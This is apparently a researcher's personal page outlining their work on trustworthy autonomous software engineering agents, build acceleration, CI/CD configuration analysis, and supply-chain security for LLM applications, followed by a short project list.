My current research focuses on trustworthy and efficient autonomous software R&D, including evidence-grounded agent execution, systematic build acceleration, CI/CD configuration intelligence, and security analysis for LLM applications. Earlier work on build dependency reliability provides the technical foundation for these ongoing directions.
Represent what the agent is asked to do, what it actually does, how the software state changes, and which observable evidence supports each claim.
Reduce feedback latency, redundant validation, rework, and search cost while preserving evidence freshness, scope, and correctness constraints.
Identify why an autonomous task failed, distinguish environment/tool/model causes, and select repair, rollback, retry, or re-planning actions with verifiable outcomes.
Adapt the level of autonomy to uncertainty and risk, escalating to humans when evidence is insufficient and returning control to agents when the state becomes verifiable.
My current agenda connects autonomous software engineering with trustworthy execution, system efficiency, configuration intelligence, and software supply-chain security. The emphasis is on research questions that are active now rather than a chronological summary of past work.
Study when an autonomous development process can be trusted to have completed a task: how task intent, agent behavior, software state, and execution evidence should be connected; how failures should be attributed and recovered; and when control should move between agents and humans.
Move beyond isolated optimization tricks and explain build time systematically across cross-configuration reuse, waiting loss within a single build, and structural critical paths, with the goal of identifying both actionable optimization opportunities and attainable speedup limits.
Study how CI/CD configurations encode engineering intent, anti-patterns, and best practices; how configuration behavior can be modeled and checked for conformance; and how configuration generation or repair can be validated against executable evidence.
Identify the components and capability paths that actually participate in LLM-enabled applications, connect declared dependencies with code-visible and configuration-mediated usage, and reason about whether vulnerable components are reachable on security-relevant capability paths.
The project portfolio separates work that is actively funded and being developed now from research threads whose main technical objectives have already been completed.
复杂软件构建的系统加速研究
This project studies build acceleration as a system-level problem rather than a single optimization technique. It establishes a unified observation framework for repeated builds and asks where time is fundamentally lost, which losses can be removed, and what performance ceiling remains after optimization.
Model reuse boundaries, rebuild closures, and ordering sensitivity across configurations to reduce redundant work while preserving correctness.
Quantify scheduling stalls, idle intervals, resource contention, and unrealized parallelism to explain avoidable latency in a single build.
Identify structural long chains in the build DAG and estimate the reachable speedup ceiling after removable waiting and redundant work are eliminated.
This research thread studied why incremental builds become unreliable when dependencies are missing or inconsistent, and developed a progression from detecting hidden dependency errors to comparing execution behavior against declarations and automatically repairing missing dependencies.
This work investigated how repository context, build knowledge, large language models, and execution feedback can be combined to generate executable build environments, with Dockerfile generation as the main setting.
Please feel free to reach out if you are interested in trustworthy autonomous software R&D, build-system performance, CI/CD configuration intelligence, software supply-chain security, or LLM application analysis.